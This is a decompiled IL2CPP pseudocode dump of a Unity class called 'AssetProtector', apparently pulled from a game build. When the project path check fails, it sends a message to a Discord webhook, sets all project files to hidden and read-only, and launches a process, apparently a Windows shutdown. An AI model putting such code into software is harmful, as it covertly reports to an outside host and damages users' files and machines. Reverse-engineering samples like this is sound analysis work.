// [TypeInfo RVA: 0x0]
public class AssetProtector : MonoBehaviour
{
	public string discordWebhookLink; // 0x20
	private string unityProjectPath; // 0x28

	// RVA: 0x323AB7C VA: 0x7818925B7C
	private void Start();
	/*
	 *   undefined *puVar1;
	 *   undefined *puVar2;
	 *   undefined *puVar3;
	 *   bool bVar4;
	 *   void *pvVar5;
	 *   undefined8 uVar6;
	 *   void *extraout_x1;
	 *   void *methodInfo_00;
	 *   void *methodInfo_01;
	 *   void *pvVar7;
	 *   void *in_x3;
	 *   void **ppvVar8;
	 *   void *pvVar9;
	 *   undefined1 auVar10 [16];
	 *
	 *   puVar1 = typeinfo_ptr_UnityEngine_CoreModule_Application_6FC0EA8;
	 *   if ((bRam000000000754a9a3 & 1) == 0) {
	 *     func_0x031fdc8c(typeinfo_ptr_UnityEngine_CoreModule_Application_6FC0EA8);
	 *     func_0x031fdc8c(PTR_DAT_070c1750);
	 *     func_0x031fdc8c(PTR_DAT_070c3480);
	 *     bRam000000000754a9a3 = 1;
	 *     methodInfo = extraout_x1;
	 *   }
	 *   puVar2 = PTR_DAT_070c1750;
	 *   if (*(int *)(*(long *)puVar1 + 0xe4) == 0) {
	 *     func_0x031fde08(*(long *)puVar1,methodInfo);
	 *   }
	 *   pvVar5 = UnityEngine.Application.get_dataPath();
	 *   if (*(int *)(*(long *)puVar2 + 0xe4) == 0) {
	 *     func_0x031fde08(*(long *)puVar2);
	 *   }
	 *   pvVar5 = System.IO.Path.GetDirectoryName(pvVar5);
	 *   ppvVar8 = &this.unityProjectPath;
	 *   *ppvVar8 = pvVar5;
	 *   func_0x031fdc38(ppvVar8,pvVar5);
	 *   pvVar9 = *ppvVar8;
	 *   pvVar5 = UnityEngine.Application.get_dataPath();
	 *   pvVar7 = null;
	 *   bVar4 = System.String.op_Inequality(pvVar9,pvVar5);
	 *   if (bVar4) {
	 *     AssetProtector.SendDiscordNotification(this,*(void **)PTR_DAT_070c3480);
	 *     AssetProtector.CorruptFiles(this);
	 *     puVar2 = PTR_DAT_070c34c8;
	 *     puVar1 = PTR_DAT_070c34c0;
	 *     if ((bRam000000000754a9a5 & 1) == 0) {
	 *       func_0x031fdc8c(PTR_DAT_070c34c8);
	 *       func_0x031fdc8c(PTR_DAT_070c34c0);
	 *       bRam000000000754a9a5 = 1;
	 *     }
	 *     puVar3 = PTR_DAT_07122b90;
	 *     pvVar5 = *(void **)puVar1;
	 *     pvVar7 = *(void **)puVar2;
	 *     if ((bRam0000000007558c27 & 1) == 0) {
	 *       func_0x031fdc8c(PTR_DAT_07122b90,pvVar7,0);
	 *       bRam0000000007558c27 = 1;
	 *     }
	 *     pvVar9 = (void *)func_0x031fdf24(*(undefined8 *)puVar3);
	 *     System.Diagnostics.ProcessStartInfo..ctor(pvVar9,pvVar5,pvVar7);
	 *     puVar1 = PTR_DAT_07122a60;
	 *     if ((bRam0000000007558c28 & 1) == 0) {
	 *       func_0x031fdc8c(PTR_DAT_07122a60);
	 *       bRam0000000007558c28 = 1;
	 *     }
	 *     auVar10 = func_0x031fdf24(*(undefined8 *)puVar1);
	 *     pvVar5 = auVar10._0_8_;
	 *     System.Diagnostics.Process..ctor(pvVar5);
	 *     if (pvVar9 != null) {
	 *       if (pvVar5 != null) {
	 *         System.Diagnostics.Process.set_StartInfo(pvVar5,pvVar9);
	 *         System.Diagnostics.Process.Start(pvVar5);
	 *         return;
	 *       }
	 *       IL2CPP.ThrowNullReferenceException();
	 *     }
	 *     func_0x031fdca0(PTR_DAT_070c5760);
	 *     pvVar5 = (void *)func_0x031fdf24();
	 *     pvVar7 = (void *)func_0x031fdca0(PTR_DAT_07122c20);
	 *     System.ArgumentNullException..ctor(pvVar5,pvVar7);
	 *     uVar6 = func_0x031fdca0(PTR_DAT_07122c28);
	 *     IL2CPP.ThrowManagedException();
	 *   }
	 *   return;
	 */
	// RVA: 0x323AC74 VA: 0x7818925C74
	private void SendDiscordNotification(string message);
	/*
	 *   undefined *puVar1;
	 *   undefined *puVar2;
	 *   long *this_00;
	 *   void *pvVar3;
	 *   long *plVar4;
	 *   undefined8 *puVar5;
	 *   long lVar6;
	 *   ulong uVar7;
	 *   int *piVar8;
	 *
	 *   puVar2 = PTR_DAT_070c3490;
	 *   puVar1 = PTR_DAT_070c3488;
	 *   if ((bRam000000000754a9a4 & 1) == 0) {
	 *     func_0x031fdc8c(typeinfo_ptr_mscorlib_IDisposable_6FC11D0);
	 *     func_0x031fdc8c(typeinfo_ptr_Newtonsoft_Json_JsonConvert_6FC3498);
	 *     func_0x031fdc8c(PTR_DAT_070c34a0);
	 *     func_0x031fdc8c(PTR_DAT_070c3490);
	 *     func_0x031fdc8c(PTR_DAT_070c3488);
	 *     func_0x031fdc8c(PTR_DAT_070c1c88);
	 *     func_0x031fdc8c(PTR_DAT_070c1c98);
	 *     func_0x031fdc8c(PTR_DAT_070c1150);
	 *     bRam000000000754a9a4 = 1;
	 *   }
	 *   this_00 = (long *)func_0x031fdf24(*(undefined8 *)puVar1);
	 *   System.Net.WebClient..ctor(this_00);
	 *   pvVar3 = (void *)func_0x031fdf24(*(undefined8 *)puVar2);
	 *   func_0x03ae4f40(pvVar3,message,*(undefined8 *)PTR_DAT_070c34a0);
	 *   if (*(int *)(*(long *)typeinfo_ptr_Newtonsoft_Json_JsonConvert_6FC3498 + 0xe4) == 0) {
	 *     func_0x031fde08();
	 *   }
	 *   pvVar3 = Meta.WitAi.Json.JsonConvert.SerializeObject(pvVar3);
	 *   if (this_00 == null) {
	 *     IL2CPP.ThrowNullReferenceException();
	 *   }
	 *   plVar4 = System.Net.WebClient.get_Headers(this_00);
	 *   if (plVar4 == null) {
	 *     IL2CPP.ThrowNullReferenceException();
	 *   }
	 *   (**(code **)(*plVar4 + 600))
	 *             (plVar4,*(undefined8 *)PTR_DAT_070c1c98,*(undefined8 *)PTR_DAT_070c1150,
	 *              *(undefined8 *)(*plVar4 + 0x260));
	 *   if (this_00 == null) {
	 *     IL2CPP.ThrowNullReferenceException();
	 *   }
	 *   System.Net.WebClient.UploadString(this_00,this.discordWebhookLink,*(void **)PTR_DAT_070c1c88,pvVar3);
	 *   if (this_00 != null) {
	 *     lVar6 = *this_00;
	 *     uVar7 = (ulong)*(ushort *)(lVar6 + 0x12e);
	 *     if (uVar7 != 0) {
	 *       piVar8 = (int *)(*(long *)(lVar6 + 0xb0) + 8);
	 *       do {
	 *         if (*(long *)(piVar8 + -2) == *(long *)typeinfo_ptr_mscorlib_IDisposable_6FC11D0) {
	 *           puVar5 = (undefined8 *)(lVar6 + (long)*piVar8 * 0x10 + 0x138);
	 *           goto LAB_0333ae40;
	 *         }
	 *         uVar7 = uVar7 - 1;
	 *         piVar8 = piVar8 + 4;
	 *       } while (uVar7 != 0);
	 *     }
	 *     puVar5 = (undefined8 *)
	 *              func_0x03237558(this_00,*(long *)typeinfo_ptr_mscorlib_IDisposable_6FC11D0,0);
	 * LAB_0333ae40:
	 *     (*(code *)*puVar5)(this_00,puVar5[1]);
	 *   }
	 *   return;
	 */
	// RVA: 0x323AECC VA: 0x7818925ECC
	private void CorruptFiles();
	/*
	 *   void *pvVar1;
	 *   ulong uVar2;
	 *   ulong uVar3;
	 *
	 *   pvVar1 = Directory.GetFiles(this.unityProjectPath);
	 *   if (pvVar1 == null) {
	 *     IL2CPP.ThrowNullReferenceException();
	 *   }
	 *   if (0 < (int)*(ulong *)((long)pvVar1 + 0x18)) {
	 *     uVar3 = 0;
	 *     uVar2 = *(ulong *)((long)pvVar1 + 0x18) & 0xffffffff;
	 *     do {
	 *       if (uVar2 <= uVar3) {
	 *         IL2CPP.ThrowIndexOutOfRangeException();
	 *       }
	 *       File.SetAttributes(*(void **)((long)pvVar1 + uVar3 * 8 + 0x20),3);
	 *       uVar2 = (ulong)*(uint *)((long)pvVar1 + 0x18);
	 *       uVar3 = uVar3 + 1;
	 *     } while ((long)uVar3 < (long)(int)*(uint *)((long)pvVar1 + 0x18));
	 *   }
	 *   return;
	 */
	// RVA: 0x323B070 VA: 0x7818926070
	private void ShutdownWindows();
	/*
	 *   undefined *puVar1;
	 *   undefined *puVar2;
	 *   undefined *puVar3;
	 *   void *pvVar4;
	 *   void *this_00;
	 *   undefined8 uVar5;
	 *   void *pvVar6;
	 *   void *methodInfo_00;
	 *   void *in_x3;
	 *   undefined1 auVar7 [16];
	 *
	 *   puVar2 = PTR_DAT_070c34c8;
	 *   puVar1 = PTR_DAT_070c34c0;
	 *   if ((bRam000000000754a9a5 & 1) == 0) {
	 *     func_0x031fdc8c(PTR_DAT_070c34c8);
	 *     func_0x031fdc8c(PTR_DAT_070c34c0);
	 *     bRam000000000754a9a5 = 1;
	 *   }
	 *   puVar3 = PTR_DAT_07122b90;
	 *   pvVar4 = *(void **)puVar1;
	 *   pvVar6 = *(void **)puVar2;
	 *   if ((bRam0000000007558c27 & 1) == 0) {
	 *     func_0x031fdc8c(PTR_DAT_07122b90,pvVar6,0);
	 *     bRam0000000007558c27 = 1;
	 *   }
	 *   this_00 = (void *)func_0x031fdf24(*(undefined8 *)puVar3);
	 *   System.Diagnostics.ProcessStartInfo..ctor(this_00,pvVar4,pvVar6);
	 *   puVar1 = PTR_DAT_07122a60;
	 *   if ((bRam0000000007558c28 & 1) == 0) {
	 *     func_0x031fdc8c(PTR_DAT_07122a60);
	 *     bRam0000000007558c28 = 1;
	 *   }
	 *   auVar7 = func_0x031fdf24(*(undefined8 *)puVar1);
	 *   pvVar4 = auVar7._0_8_;
	 *   System.Diagnostics.Process..ctor(pvVar4);
	 *   if (this_00 != null) {
	 *     if (pvVar4 != null) {
	 *       System.Diagnostics.Process.set_StartInfo(pvVar4,this_00);
	 *       System.Diagnostics.Process.Start(pvVar4);
	 *       return;
	 *     }
	 *     IL2CPP.ThrowNullReferenceException();
	 *   }
	 *   func_0x031fdca0(PTR_DAT_070c5760);
	 *   pvVar4 = (void *)func_0x031fdf24();
	 *   pvVar6 = (void *)func_0x031fdca0(PTR_DAT_07122c20);
	 *   System.ArgumentNullException..ctor(pvVar4,pvVar6);
	 *   uVar5 = func_0x031fdca0(PTR_DAT_07122c28);
	 *   IL2CPP.ThrowManagedException();
	 */
	// RVA: 0x323B0CC VA: 0x78189260CC
	public void .ctor();
	/*
	 *   undefined *puVar1;
	 *
	 *   puVar1 = typeinfo_ptr_UnityEngine_CoreModule_Object_6FC07E8;
	 *   if ((bRam000000000755f76f & 1) == 0) {
	 *     func_0x031fdc8c(typeinfo_ptr_UnityEngine_CoreModule_Object_6FC07E8,0);
	 *     bRam000000000755f76f = 1;
	 *   }
	 *   if (*(int *)(*(long *)puVar1 + 0xe4) == 0) {
	 *     func_0x031fde08();
	 *   }
	 *   return;
	 */
}
